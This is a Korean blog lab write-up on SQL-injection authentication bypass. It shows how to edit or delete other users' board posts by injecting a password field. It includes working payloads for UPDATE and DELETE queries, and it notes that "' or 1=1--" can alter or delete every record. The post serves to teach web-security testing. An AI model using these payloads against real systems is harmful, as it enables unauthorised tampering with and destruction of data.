Oh! JUN
인증 우회 공격을 통한 타 사용자 게시글 무단 수정, 삭제 실습 본문
접근 권한이 없는 타 사용자의 글을 수정할때는 패스워드를 입력해서 할 수도 있는데 상황이 두가지가 있다.
1. UPDATE/DELETE 구문의 WHERE 절에 password 삽입되어 검증
- 수정/삭제 할때 패스워드를 같이 입력해서 수행할 수 있다.
2. UPDATE/DELETE 구문 실행 전 password 검증
- 수정/삭제 전 패스워드를 입력해서 접근 권한을 얻고 수행할 수 있다.
Delete 클릭하면 위와 같은 화면이 나오는데 패스워드를 입력하는 동시에 게시물이 삭제되는 이 경우는 1번에 해당하는 경우다.
delete from board where idx=8 and password='' or idx=8-- ' |
idx=8 and password='' | 참 and 거짓 = 거짓 |
(idx=8 and password='') or idx=8 | 거짓 or 참 = 참 |
수정도 마찬가지이다.
update board set title=..., content=..., date=..., where idx=8 and password='' or idx=8-- ' |
idx=8 and password='' | 참 and 거짓 = 거짓 |
(idx=8 and password='') or idx=8 | 거짓 or 참 = 참 |
※ 주의할 점
update, delete는 데이터에 직접적인 영향을 주는 구문이다.
그래서 특정 데이터를 지정해주지 않고 ' or 1=1-- 을 함부로 사용하면 쿼리를 참으로 만들어버려서 모든 데이터를 일괄수정/삭제를 할 수가 있다.
update board set title=..., content=..., date=..., where idx=8 and password='' or 1=1 ' |
'웹 해킹 > SQL Injection' 카테고리의 다른 글
MYSQL 순차적 레코드 출력 실습 (0) | 2022.08.12 |
---|---|
데이터 조회 공격(환경 분석 실습) (0) | 2022.08.12 |
인증 우회 공격을 통한 비밀 게시글 무단 열람 실습 (0) | 2022.08.09 |
인증 우회 공격 실습 (0) | 2022.08.08 |
검색 기능의 컬럼 파라미터에 대한 올바른 취약점 점검 방법 (0) | 2022.08.05 |